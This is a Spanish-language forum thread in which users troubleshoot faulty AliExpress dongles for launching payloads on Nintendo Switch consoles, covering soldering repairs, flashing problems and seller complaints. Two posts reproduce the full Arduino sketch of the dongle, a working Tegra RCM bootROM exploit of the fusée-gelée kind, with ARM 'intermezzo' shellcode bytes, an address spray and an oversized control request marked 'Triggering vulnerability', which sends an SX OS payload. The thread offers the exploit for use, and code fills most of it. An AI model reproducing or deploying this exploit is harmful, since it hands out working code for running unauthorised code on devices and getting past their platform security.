› Foros › Nintendo Switch › Scene
tomnav escribió:Evil_forces escribió:Edito:
Una pregunta tomnav ¿en el programa de arduino te deja seleccionar el puerto o te aparece en gris?
Ya no, al quedar así, ya no aparece el puerto al que está conectado, sólo el Com1 por defecto, antes aparecía el Com1 y cuando compilaba en Arduino y lo insertaba, hacía el ruido en el pc de conectar algo por USB y aparecía en puerto para poder subir le compilación...
En el administrador de dispositivos al no reconocerlo, no aparece nada...
david_jmnz escribió:Yo lo acabo de recibir, pero pongo el dongle en la consola y no hace nada. Esta roto?
c0d3m4st4 escribió:@javieron_
Pfff.... Vaya ñapas. Yo iría reclamando en aliexpress si aún podéis y que os devuelvan la pasta y os pillais un trinket o alguno de los que están vendiendo en gbatemp.
MarkAstur escribió:Estaria bien que los que estais compilando de forma correcta los payloads los subais para ponerlo en la página principal de éste hilo, ya que así ayudais a muchísima gente que no sabe hacerlo![]()
![]()
y así tenemos el hilo aún más completo
MarkAstur escribió:Estaria bien que los que estais compilando de forma correcta los payloads los subais para ponerlo en la página principal de éste hilo, ya que así ayudais a muchísima gente que no sabe hacerlo![]()
![]()
y así tenemos el hilo aún más completo
javieron_ escribió:tomnav escribió:Evil_forces escribió:Edito:
Una pregunta tomnav ¿en el programa de arduino te deja seleccionar el puerto o te aparece en gris?
Ya no, al quedar así, ya no aparece el puerto al que está conectado, sólo el Com1 por defecto, antes aparecía el Com1 y cuando compilaba en Arduino y lo insertaba, hacía el ruido en el pc de conectar algo por USB y aparecía en puerto para poder subir le compilación...
En el administrador de dispositivos al no reconocerlo, no aparece nada...
Esto parece un culebron ahora comenta que puede ser un fallo de hardware tambien :
if plug the dongle into PC and nothing happened, try to remove this Resistance.
then plug the dongle in PC, double chick the RES button.
maybe it will run.
after fix it. shorted this Resistance is ok.
https://github.com/euclala/fix_dongle/b ... g?raw=true
javieron_ escribió:Pues estoy currando y no he podido mirar mucho mas![]()
Si teneis que desoldar es un desacato , no todo el mundo tiene los medios ni los conocimientos para hacerlo.
No tengo la placa delante pero no tiene pinta de ser de quita y pon la resistencia no ?
@Clockterra Enhorabuena tio![]()
lo has conseguido ¡¡¡
Tres hurras por ti¡¡
Evil_forces escribió:javieron_ escribió:Pues estoy currando y no he podido mirar mucho mas![]()
Si teneis que desoldar es un desacato , no todo el mundo tiene los medios ni los conocimientos para hacerlo.
No tengo la placa delante pero no tiene pinta de ser de quita y pon la resistencia no ?
@Clockterra Enhorabuena tio![]()
lo has conseguido ¡¡¡
Tres hurras por ti¡¡
Efectivamente, en la foto la resistencia parece enorme pero es muy pequeña...
Yo como ya estoy "j@did@" voy a intentar hacer la ñapa para ver si funciona, pero de todas formas pienso reclamar a Aliexpress por que no me parece justo lo que está pasando.
De primeras el dongle viene sin capacidad de poder programarse tal como anuncia en su página, y ya para rematar haciendo los pasos que explica el propio vendedor para repararlo deja el dongle completamente brickeado. No creo que sea muy justo, la verdad.
Está claro que son solo 15€, no me sabe tremendamente mal por esto, pero si que una persona decida vender un producto sin testear correctamente y que encima nos haga responsables a nosotros de su funcionamiento correcto. Esto no me parece justo. Cada uno tiene que acatar sus responsabilidades y creo que el vendedor aquí tiene muchas.
Un saludo.
JulesRussel escribió:@CASTIGADOR Sí, tiene hilo en gbatemp también:
https://gbatemp.net/threads/my-dongle-p ... er.513755/
CASTIGADOR escribió:El mio funciona correctamente con la consola, con el pc lo enchufe ayer y me salio que detectaba thinket algo pero en dispositivos no lo veo, en switch funciona perfecto pero el usb-c lo noto algo forzado y me da cosa de que se rompa o me fastidie el puerto de la consola.
Por cierto he visto este proyecto incluye las compilaciones de varios payloads.
tomnav escribió:
He contactado con el vendedor para explicarle el problema y me dice exactamente lo mismo, bueno más que decir, simplemente me envia el enlace de la foto que colocas en tu post pero no me explica nada...
¿Entonces hay que desoldar esa resistencia?
Madre mia...
vladd_tepess escribió:Pues yo espero que con el v3 no pase eso sino se lo devuelvo. Ayer salió en Aliexpress otro dongle pero está agotado y tiene mucha mejor pinta.
#include <Arduino.h>
#include <Usb.h>
#define LED_PIN 4
#define USBCC_PIN 2
#define USB_VCC_PIN 0
#define DCDC_EN_PIN 3
// Contains fuseeBin and FUSEE_BIN_LENGTH
// Include only one payload here
// Use tools/binConverter.py to convert any payload bin you wish to load
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
#define INTERMEZZO_SIZE 92
const byte intermezzo[INTERMEZZO_SIZE] =
{
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40,
};
#define PACKET_CHUNK_SIZE 0x1000
#ifdef DEBUG
#define DEBUG_PRINT(x) Serial.print (x)
#define DEBUG_PRINTLN(x) Serial.println (x)
#define DEBUG_PRINTHEX(x,y) serialPrintHex (x,y)
#else
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTHEX(x,y)
#endif
USBHost usb;
EpInfo epInfo[3];
byte usbWriteBuffer[PACKET_CHUNK_SIZE] = {0};
uint32_t usbWriteBufferUsed = 0;
uint32_t packetsWritten = 0;
bool foundTegra = false;
byte tegraDeviceAddress = -1;
unsigned long lastCheckTime = 0;
const char *hexChars = "0123456789ABCDEF";
void alarmMatch()
{
}
void sleepepica()
{
}
void serialPrintHex(const byte *data, byte length)
{
for (int i = 0; i < length; i++)
{
DEBUG_PRINT(hexChars[(data[i] >> 4) & 0xF]);
DEBUG_PRINT(hexChars[data[i] & 0xF]);
}
DEBUG_PRINTLN();
}
//Adafruit_DotStar strip = Adafruit_DotStar(1, INTERNAL_DS_DATA, INTERNAL_DS_CLK, DOTSTAR_BGR);
// From what I can tell, usb.outTransfer is completely broken for transfers larger than 64 bytes (even if maxPktSize is
// adjusted for that endpoint). This is a minimal and simplified reimplementation specific to our use cases that fixes
// that bug and is based on the code of USBHost::outTransfer, USBHost::SetPipeAddress and USBHost::OutTransfer.
void usbOutTransferChunk(uint32_t addr, uint32_t ep, uint32_t nbytes, uint8_t* data)
{
EpInfo* epInfo = usb.getEpInfoEntry(addr, ep);
usb_pipe_table[epInfo->epAddr].HostDescBank[0].CTRL_PIPE.bit.PDADDR = addr;
if (epInfo->bmSndToggle)
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSSET.reg = USB_HOST_PSTATUSSET_DTGL;
else
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSCLR.reg = USB_HOST_PSTATUSCLR_DTGL;
UHD_Pipe_Write(epInfo->epAddr, PACKET_CHUNK_SIZE, data);
uint32_t rcode = usb.dispatchPkt(tokOUT, epInfo->epAddr, 15);
if (rcode)
{
if (rcode == USB_ERROR_DATATOGGLE)
{
epInfo->bmSndToggle = USB_HOST_DTGL(epInfo->epAddr);
if (epInfo->bmSndToggle)
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSSET.reg = USB_HOST_PSTATUSSET_DTGL;
else
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSCLR.reg = USB_HOST_PSTATUSCLR_DTGL;
}
else
{
//strip.setPixelColor(0, 64, 0, 0); strip.show();
DEBUG_PRINTLN("Error in OUT transfer");
return;
}
}
epInfo->bmSndToggle = USB_HOST_DTGL(epInfo->epAddr);
}
void usbFlushBuffer()
{
usbOutTransferChunk(tegraDeviceAddress, 0x01, PACKET_CHUNK_SIZE, usbWriteBuffer);
memset(usbWriteBuffer, 0, PACKET_CHUNK_SIZE);
usbWriteBufferUsed = 0;
packetsWritten++;
}
// This accepts arbitrary sized USB writes and will automatically chunk them into writes of size 0x1000 and increment
// packetsWritten every time a chunk is written out.
void usbBufferedWrite(const byte *data, uint32_t length)
{
while (usbWriteBufferUsed + length >= PACKET_CHUNK_SIZE)
{
uint32_t bytesToWrite = min(PACKET_CHUNK_SIZE - usbWriteBufferUsed, length);
memcpy(usbWriteBuffer + usbWriteBufferUsed, data, bytesToWrite);
usbWriteBufferUsed += bytesToWrite;
usbFlushBuffer();
data += bytesToWrite;
length -= bytesToWrite;
}
if (length > 0)
{
memcpy(usbWriteBuffer + usbWriteBufferUsed, data, length);
usbWriteBufferUsed += length;
}
}
void usbBufferedWriteU32(uint32_t data)
{
usbBufferedWrite((byte *)&data, 4);
}
void readTegraDeviceID(byte *deviceID)
{
byte readLength = 16;
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_IN, 0x40, 0, USB_HOST_NB_BK_1);
if (usb.inTransfer(tegraDeviceAddress, 0x01, &readLength, deviceID))
DEBUG_PRINTLN("Failed to get device ID!");
}
void sendPayload(const byte *payload, uint32_t payloadLength)
{
byte zeros[0x1000] = {0};
usbBufferedWriteU32(0x30298);
usbBufferedWrite(zeros, 680 - 4);
for (uint32_t i = 0; i < 0x3C00; i++)
usbBufferedWriteU32(0x4001F000);
usbBufferedWrite(intermezzo, INTERMEZZO_SIZE);
usbBufferedWrite(zeros, 0xFA4);
usbBufferedWrite(payload, payloadLength);
usbFlushBuffer();
}
void findTegraDevice(UsbDeviceDefinition *pdev)
{
uint32_t address = pdev->address.devAddress;
USB_DEVICE_DESCRIPTOR deviceDescriptor;
if (usb.getDevDescr(address, 0, 0x12, (uint8_t *)&deviceDescriptor))
{
DEBUG_PRINTLN("Error getting device descriptor.");
return;
}
if (deviceDescriptor.idVendor == 0x0955 && deviceDescriptor.idProduct == 0x7321)
{
tegraDeviceAddress = address;
foundTegra = true;
}
}
void setupTegraDevice()
{
epInfo[0].epAddr = 0;
epInfo[0].maxPktSize = 0x40;
epInfo[0].epAttribs = USB_TRANSFER_TYPE_CONTROL;
epInfo[0].bmNakPower = USB_NAK_MAX_POWER;
epInfo[0].bmSndToggle = 0;
epInfo[0].bmRcvToggle = 0;
epInfo[1].epAddr = 0x01;
epInfo[1].maxPktSize = 0x40;
epInfo[1].epAttribs = USB_TRANSFER_TYPE_BULK;
epInfo[1].bmNakPower = USB_NAK_MAX_POWER;
epInfo[1].bmSndToggle = 0;
epInfo[1].bmRcvToggle = 0;
usb.setEpInfoEntry(tegraDeviceAddress, 2, epInfo);
usb.setConf(tegraDeviceAddress, 0, 0);
usb.Task();
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_IN, 0x40, 0, USB_HOST_NB_BK_1);
}
void sleep(int errorCode) {
}
void setLedColor(const char color[]) {
}
void wakeup() {
}
void setup()
{
// This continues after the reset after a wakeup
// Set RCM_STRAP as an input to "stealth" any funny business on the RCM_STRAP
//pinMode(RCM_STRAP_PIN, INPUT);
delay(300);
pinMode(LED_PIN, OUTPUT);
pinMode(DCDC_EN_PIN, OUTPUT);
digitalWrite(DCDC_EN_PIN, HIGH);
pinMode(USBCC_PIN, INPUT);
//digitalWrite(USBCC_PIN, LOW);
pinMode(USB_VCC_PIN, INPUT_PULLDOWN);
digitalWrite(LED_PIN, LOW);
digitalWrite(LED_PIN, HIGH); delay(30);
digitalWrite(LED_PIN, LOW);
/*
delay(300);
*/
while (digitalRead(USB_VCC_PIN));
delay(30);//delay to ready pull out
while (digitalRead(USB_VCC_PIN));
//pinMode(USBCC_PIN, OUTPUT);
//digitalWrite(USBCC_PIN, HIGH);
int usbInitialized = usb.Init();
#ifdef DEBUG
Serial.begin(115200);
delay(100);
#endif
DEBUG_PRINTLN("Ready! Waiting for Tegra...");
bool blink = true;
int currentTime = 0;
int timeout = 0;
int powerofftimeout = 0;
int ledflags = 0;
timeout = millis();
powerofftimeout = millis();
while (!foundTegra)
{
currentTime = millis();
usb.Task();
if (currentTime > lastCheckTime + 100) {
usb.ForEachUsbDevice(&findTegraDevice);
lastCheckTime = currentTime;
digitalWrite(LED_PIN, LOW);
}
if (currentTime > timeout + 2000) {
timeout = currentTime;
digitalWrite(LED_PIN, HIGH);
}
if (currentTime > powerofftimeout + 40000) //wait for 40s, nothing, go alsheep
{
NVIC_SystemReset();
}
}
DEBUG_PRINTLN("Found Tegra!");
setupTegraDevice();
byte deviceID[16] = {0};
readTegraDeviceID(deviceID);
DEBUG_PRINTLN("Device ID: ");
DEBUG_PRINTHEX(deviceID, 16);
DEBUG_PRINTLN("Sending payload...");
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_OUT, 0x40, 0, USB_HOST_NB_BK_1);
packetsWritten = 0;
sendPayload(fuseeBin, FUSEE_BIN_SIZE);
//sendPayload(TxOsBin, TXOS_BIN_SIZE);
if (packetsWritten % 2 != 1)
{
DEBUG_PRINTLN("Switching to higher buffer...");
usbFlushBuffer();
}
DEBUG_PRINTLN("Triggering vulnerability...");
usb.ctrlReq(tegraDeviceAddress, 0, USB_SETUP_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_INTERFACE,
0x00, 0x00, 0x00, 0x00, 0x7000, 0x7000, usbWriteBuffer, NULL);
DEBUG_PRINTLN("Done!");
digitalWrite(LED_PIN, HIGH);
delay(3000);
digitalWrite(LED_PIN, LOW);
delay(3000);
NVIC_SystemReset();
//digitalWrite(LED_PIN, LOW);
// SCB->SCR = SCB_SCR_SLEEPDEEP_Msk;
//__WFI();
// sleep(1);
}
void loop()
{
}
Archiving built core (caching) in: C:\Users\mi nombre de usuario\AppData\Local\Temp\arduino_cache_527421\core\core_adafruit_samd_adafruit_trinket_m0_7213726bbb01e1d0a8fbeabc3f5392f4.a
El Sketch usa 111084 bytes (42%) del espacio de almacenamiento de programa. El máximo es 262144 bytes.
Atmel SMART device 0x10010005 found
Device : ATSAMD21G18A
Chip ID : 10010005
Version : v1.1 [Arduino:XYZ] Nov 12 2017 14:02:04
Address : 8192
Pages : 3968
Page Size : 64 bytes
Total Size : 248KB
Planes : 1
Lock Regions : 16
Locked : none
Security : false
Boot Flash : true
BOD : true
BOR : true
Arduino : FAST_CHIP_ERASE
Arduino : FAST_MULTI_PAGE_WRITE
Arduino : CAN_CHECKSUM_MEMORY_BUFFER
Erase flash
done in 0.849 seconds
Write 111352 bytes to flash (1740 pages)
[= ] 3% (64/1740 pages)
[== ] 7% (128/1740 pages)
[=== ] 11% (192/1740 pages)
[==== ] 14% (256/1740 pages)
[===== ] 18% (320/1740 pages)
[====== ] 22% (384/1740 pages)
[======= ] 25% (448/1740 pages)
[======== ] 29% (512/1740 pages)
[========= ] 33% (576/1740 pages)
[=========== ] 36% (640/1740 pages)
[============ ] 40% (704/1740 pages)
[============= ] 44% (768/1740 pages)
[============== ] 47% (832/1740 pages)
[=============== ] 51% (896/1740 pages)
[================ ] 55% (960/1740 pages)
[================= ] 58% (1024/1740 pages)
[================== ] 62% (1088/1740 pages)
[=================== ] 66% (1152/1740 pages)
[==================== ] 69% (1216/1740 pages)
[====================== ] 73% (1280/1740 pages)
[======================= ] 77% (1344/1740 pages)
[======================== ] 80% (1408/1740 pages)
[========================= ] 84% (1472/1740 pages)
[========================== ] 88% (1536/1740 pages)
[=========================== ] 91% (1600/1740 pages)
[============================ ] 95% (1664/1740 pages)
[============================= ] 99% (1728/1740 pages)
[==============================] 100% (1740/1740 pages)
done in 0.669 seconds
Verify 111352 bytes of flash with checksum.
Verify successful
done in 0.152 seconds
CPU reset.
Evil_forces escribió:Buenas a todos,
Esta tarde me he decidido a coger el soldador e intentar la solución que da el fabricante para reparar el dongle.
He desoldado (mejor dicho, la he carbonizado practicamente) y he probado a conectar el dongle al PC y.... Vuelve a reconocer el dongle como al principio y tambien entra en modo "update" al pulsar dos veces el reset. Vamos, en teoria esta parte funciona OK.
Ahora el problema viene en que he grabado el programa que da el fabricante y en teoria no da ningún error el sketch y lo graba, pero al conectarlo en la Switch no hace nada. Se queda en modo RCM y no dispara el payload.
Pongo a continuación mi código de sketch:#include <Arduino.h>
#include <Usb.h>
#define LED_PIN 4
#define USBCC_PIN 2
#define USB_VCC_PIN 0
#define DCDC_EN_PIN 3
// Contains fuseeBin and FUSEE_BIN_LENGTH
// Include only one payload here
// Use tools/binConverter.py to convert any payload bin you wish to load
#include "TXOS.h"
//#include "rajnx_ipl072.h"
//#include "hekate_ctcaer_32.h"
//#include "ReiNX.h"
#define INTERMEZZO_SIZE 92
const byte intermezzo[INTERMEZZO_SIZE] =
{
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40,
};
#define PACKET_CHUNK_SIZE 0x1000
#ifdef DEBUG
#define DEBUG_PRINT(x) Serial.print (x)
#define DEBUG_PRINTLN(x) Serial.println (x)
#define DEBUG_PRINTHEX(x,y) serialPrintHex (x,y)
#else
#define DEBUG_PRINT(x)
#define DEBUG_PRINTLN(x)
#define DEBUG_PRINTHEX(x,y)
#endif
USBHost usb;
EpInfo epInfo[3];
byte usbWriteBuffer[PACKET_CHUNK_SIZE] = {0};
uint32_t usbWriteBufferUsed = 0;
uint32_t packetsWritten = 0;
bool foundTegra = false;
byte tegraDeviceAddress = -1;
unsigned long lastCheckTime = 0;
const char *hexChars = "0123456789ABCDEF";
void alarmMatch()
{
}
void sleepepica()
{
}
void serialPrintHex(const byte *data, byte length)
{
for (int i = 0; i < length; i++)
{
DEBUG_PRINT(hexChars[(data[i] >> 4) & 0xF]);
DEBUG_PRINT(hexChars[data[i] & 0xF]);
}
DEBUG_PRINTLN();
}
//Adafruit_DotStar strip = Adafruit_DotStar(1, INTERNAL_DS_DATA, INTERNAL_DS_CLK, DOTSTAR_BGR);
// From what I can tell, usb.outTransfer is completely broken for transfers larger than 64 bytes (even if maxPktSize is
// adjusted for that endpoint). This is a minimal and simplified reimplementation specific to our use cases that fixes
// that bug and is based on the code of USBHost::outTransfer, USBHost::SetPipeAddress and USBHost::OutTransfer.
void usbOutTransferChunk(uint32_t addr, uint32_t ep, uint32_t nbytes, uint8_t* data)
{
EpInfo* epInfo = usb.getEpInfoEntry(addr, ep);
usb_pipe_table[epInfo->epAddr].HostDescBank[0].CTRL_PIPE.bit.PDADDR = addr;
if (epInfo->bmSndToggle)
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSSET.reg = USB_HOST_PSTATUSSET_DTGL;
else
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSCLR.reg = USB_HOST_PSTATUSCLR_DTGL;
UHD_Pipe_Write(epInfo->epAddr, PACKET_CHUNK_SIZE, data);
uint32_t rcode = usb.dispatchPkt(tokOUT, epInfo->epAddr, 15);
if (rcode)
{
if (rcode == USB_ERROR_DATATOGGLE)
{
epInfo->bmSndToggle = USB_HOST_DTGL(epInfo->epAddr);
if (epInfo->bmSndToggle)
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSSET.reg = USB_HOST_PSTATUSSET_DTGL;
else
USB->HOST.HostPipe[epInfo->epAddr].PSTATUSCLR.reg = USB_HOST_PSTATUSCLR_DTGL;
}
else
{
//strip.setPixelColor(0, 64, 0, 0); strip.show();
DEBUG_PRINTLN("Error in OUT transfer");
return;
}
}
epInfo->bmSndToggle = USB_HOST_DTGL(epInfo->epAddr);
}
void usbFlushBuffer()
{
usbOutTransferChunk(tegraDeviceAddress, 0x01, PACKET_CHUNK_SIZE, usbWriteBuffer);
memset(usbWriteBuffer, 0, PACKET_CHUNK_SIZE);
usbWriteBufferUsed = 0;
packetsWritten++;
}
// This accepts arbitrary sized USB writes and will automatically chunk them into writes of size 0x1000 and increment
// packetsWritten every time a chunk is written out.
void usbBufferedWrite(const byte *data, uint32_t length)
{
while (usbWriteBufferUsed + length >= PACKET_CHUNK_SIZE)
{
uint32_t bytesToWrite = min(PACKET_CHUNK_SIZE - usbWriteBufferUsed, length);
memcpy(usbWriteBuffer + usbWriteBufferUsed, data, bytesToWrite);
usbWriteBufferUsed += bytesToWrite;
usbFlushBuffer();
data += bytesToWrite;
length -= bytesToWrite;
}
if (length > 0)
{
memcpy(usbWriteBuffer + usbWriteBufferUsed, data, length);
usbWriteBufferUsed += length;
}
}
void usbBufferedWriteU32(uint32_t data)
{
usbBufferedWrite((byte *)&data, 4);
}
void readTegraDeviceID(byte *deviceID)
{
byte readLength = 16;
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_IN, 0x40, 0, USB_HOST_NB_BK_1);
if (usb.inTransfer(tegraDeviceAddress, 0x01, &readLength, deviceID))
DEBUG_PRINTLN("Failed to get device ID!");
}
void sendPayload(const byte *payload, uint32_t payloadLength)
{
byte zeros[0x1000] = {0};
usbBufferedWriteU32(0x30298);
usbBufferedWrite(zeros, 680 - 4);
for (uint32_t i = 0; i < 0x3C00; i++)
usbBufferedWriteU32(0x4001F000);
usbBufferedWrite(intermezzo, INTERMEZZO_SIZE);
usbBufferedWrite(zeros, 0xFA4);
usbBufferedWrite(payload, payloadLength);
usbFlushBuffer();
}
void findTegraDevice(UsbDeviceDefinition *pdev)
{
uint32_t address = pdev->address.devAddress;
USB_DEVICE_DESCRIPTOR deviceDescriptor;
if (usb.getDevDescr(address, 0, 0x12, (uint8_t *)&deviceDescriptor))
{
DEBUG_PRINTLN("Error getting device descriptor.");
return;
}
if (deviceDescriptor.idVendor == 0x0955 && deviceDescriptor.idProduct == 0x7321)
{
tegraDeviceAddress = address;
foundTegra = true;
}
}
void setupTegraDevice()
{
epInfo[0].epAddr = 0;
epInfo[0].maxPktSize = 0x40;
epInfo[0].epAttribs = USB_TRANSFER_TYPE_CONTROL;
epInfo[0].bmNakPower = USB_NAK_MAX_POWER;
epInfo[0].bmSndToggle = 0;
epInfo[0].bmRcvToggle = 0;
epInfo[1].epAddr = 0x01;
epInfo[1].maxPktSize = 0x40;
epInfo[1].epAttribs = USB_TRANSFER_TYPE_BULK;
epInfo[1].bmNakPower = USB_NAK_MAX_POWER;
epInfo[1].bmSndToggle = 0;
epInfo[1].bmRcvToggle = 0;
usb.setEpInfoEntry(tegraDeviceAddress, 2, epInfo);
usb.setConf(tegraDeviceAddress, 0, 0);
usb.Task();
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_IN, 0x40, 0, USB_HOST_NB_BK_1);
}
void sleep(int errorCode) {
}
void setLedColor(const char color[]) {
}
void wakeup() {
}
void setup()
{
// This continues after the reset after a wakeup
// Set RCM_STRAP as an input to "stealth" any funny business on the RCM_STRAP
//pinMode(RCM_STRAP_PIN, INPUT);
delay(300);
pinMode(LED_PIN, OUTPUT);
pinMode(DCDC_EN_PIN, OUTPUT);
digitalWrite(DCDC_EN_PIN, HIGH);
pinMode(USBCC_PIN, INPUT);
//digitalWrite(USBCC_PIN, LOW);
pinMode(USB_VCC_PIN, INPUT_PULLDOWN);
digitalWrite(LED_PIN, LOW);
digitalWrite(LED_PIN, HIGH); delay(30);
digitalWrite(LED_PIN, LOW);
/*
delay(300);
*/
while (digitalRead(USB_VCC_PIN));
delay(30);//delay to ready pull out
while (digitalRead(USB_VCC_PIN));
//pinMode(USBCC_PIN, OUTPUT);
//digitalWrite(USBCC_PIN, HIGH);
int usbInitialized = usb.Init();
#ifdef DEBUG
Serial.begin(115200);
delay(100);
#endif
DEBUG_PRINTLN("Ready! Waiting for Tegra...");
bool blink = true;
int currentTime = 0;
int timeout = 0;
int powerofftimeout = 0;
int ledflags = 0;
timeout = millis();
powerofftimeout = millis();
while (!foundTegra)
{
currentTime = millis();
usb.Task();
if (currentTime > lastCheckTime + 100) {
usb.ForEachUsbDevice(&findTegraDevice);
lastCheckTime = currentTime;
digitalWrite(LED_PIN, LOW);
}
if (currentTime > timeout + 2000) {
timeout = currentTime;
digitalWrite(LED_PIN, HIGH);
}
if (currentTime > powerofftimeout + 40000) //wait for 40s, nothing, go alsheep
{
NVIC_SystemReset();
}
}
DEBUG_PRINTLN("Found Tegra!");
setupTegraDevice();
byte deviceID[16] = {0};
readTegraDeviceID(deviceID);
DEBUG_PRINTLN("Device ID: ");
DEBUG_PRINTHEX(deviceID, 16);
DEBUG_PRINTLN("Sending payload...");
UHD_Pipe_Alloc(tegraDeviceAddress, 0x01, USB_HOST_PTYPE_BULK, USB_EP_DIR_OUT, 0x40, 0, USB_HOST_NB_BK_1);
packetsWritten = 0;
sendPayload(fuseeBin, FUSEE_BIN_SIZE);
//sendPayload(TxOsBin, TXOS_BIN_SIZE);
if (packetsWritten % 2 != 1)
{
DEBUG_PRINTLN("Switching to higher buffer...");
usbFlushBuffer();
}
DEBUG_PRINTLN("Triggering vulnerability...");
usb.ctrlReq(tegraDeviceAddress, 0, USB_SETUP_DEVICE_TO_HOST | USB_SETUP_TYPE_STANDARD | USB_SETUP_RECIPIENT_INTERFACE,
0x00, 0x00, 0x00, 0x00, 0x7000, 0x7000, usbWriteBuffer, NULL);
DEBUG_PRINTLN("Done!");
digitalWrite(LED_PIN, HIGH);
delay(3000);
digitalWrite(LED_PIN, LOW);
delay(3000);
NVIC_SystemReset();
//digitalWrite(LED_PIN, LOW);
// SCB->SCR = SCB_SCR_SLEEPDEEP_Msk;
//__WFI();
// sleep(1);
}
void loop()
{
}
Utilizo el SX OS, y en la misma carpeta de mi proyecto tengo puesto el TXOS.h descargado de la web del autor.
Mi pregunta es: Una vez compilado el proyecto y grabado en el dongle ¿Es también necesario copiar en la memoria del dongle el archivo TXOS_V2.uf2?
He realizado la prueba de copiar este archivo, he desconectado el dongle y cuando lo he vuelto a conectar he visto que dicho archivo ya no estaba y solo estaban los archivos CURRENT.UF2, INDEX.HTM Y INFO_UF2.TX el archivo TXOS_V2.uf2 habia desaparecido y no se si este es el motivo de que ahora no haga nada el dongle.
Por otro lado, dice el autor que una vez retirada la resistencia y comprobado que funciona de nuevo el dongle hay que "cerrarla" de nuevo. Entiendo que no habra que colocar de nuevo la resistencia por que esto es tarea imposible y que solo será añadir una gota de estaño haciendo contacto en los dos puntos ¿verdad? Si hay que colocar la resistencia yo ya estoy perdido por que prácticamente la he desintegrado intentando quitarla.
Bueno, pues sigo investigando... de momento como veis ya reconoce el dongle el PC nuevamente y también el programa sketch, a hora solo falta que haga su función de lanzar el payload.
Continuaré informando con novedades.
Un saludo.
Evil_forces escribió:Hola clockterra y muchas gracias por tu respuesta.
Entonces, para que nos aclaremos. Yo ahora mismo tengo una versión V2
¿Podrías indicarme exactamente que archivo/s tengo que poner en el dongle para arrancar el TXOS?
Con lo que has dicho del otro archivo de GBAtemp distinto me has dejado un poco mareado.
Ahora mismo voy a intentar hacer el corto en donde estaba la resistencia, pero claro, si el programa del dongle no es el adecuado para mi sistema operativo dudo mucho que lo haga saltar... Ya me queda la duda de si es por culpa de no tener el corto hecho o por que el dongle no está bien programado.
Si no puedes poner los archivos por aquí por algún motivo, por favor contacta por privado. Necesito realizar una prueba fiable para informaros a todos si finalmente la ñapa del chino funciona para recuperar los dongles defectuosos.
Creo que esto le puede servir a mucha gente que tenga el mismo problema, tanto de esta comunidad española como de la inglesa.
Gracias de antemano.
clockterra escribió:en cuanto al txos.h es el payload, que no se porque razon el que tiene euclala es distinto a los otros que he encontrado por ahi..
oso^Yonki escribió:Podéis poner enlace de AliExpress por favor?
Viene ya con el Sox preparado para instalar como el sox pro original??
Evil_forces escribió:Hola de nuevo.
Finalmente he conseguido realizar el corto en el dongle y efectivamente ya lanza de nuevo el payload del TX, el problema es que ahora vuelve a no leerlo el PC, es decir, si tiene esta pista en contacto lanza el payload, pero si no entonces lo detecta el PC.
Al menos ahora me vuelve a funcionar, pero solo con el payload que tiene cargado ahora mismo, es decir, el de TXOS.
No se si por software habrá alguna manera de solucionar esto, pero vamos es una patata de mucho cuidao.
Bueno, al menos me lo he pasado bien trasteando un rato, aunque no tengo ni idea de soldar ni de todo este tema de electrónica...
A ver si alguien puede encontrar la solución al problema definitivamente.
Yo ya le he puesto la reclamación en Aliexpress y he vuelto a pedir otro dongle al mismo vendedor esperando que me devuelva el dinero de este, claro está.
Un saludo.
clockterra escribió:Evil_forces escribió:Hola de nuevo.
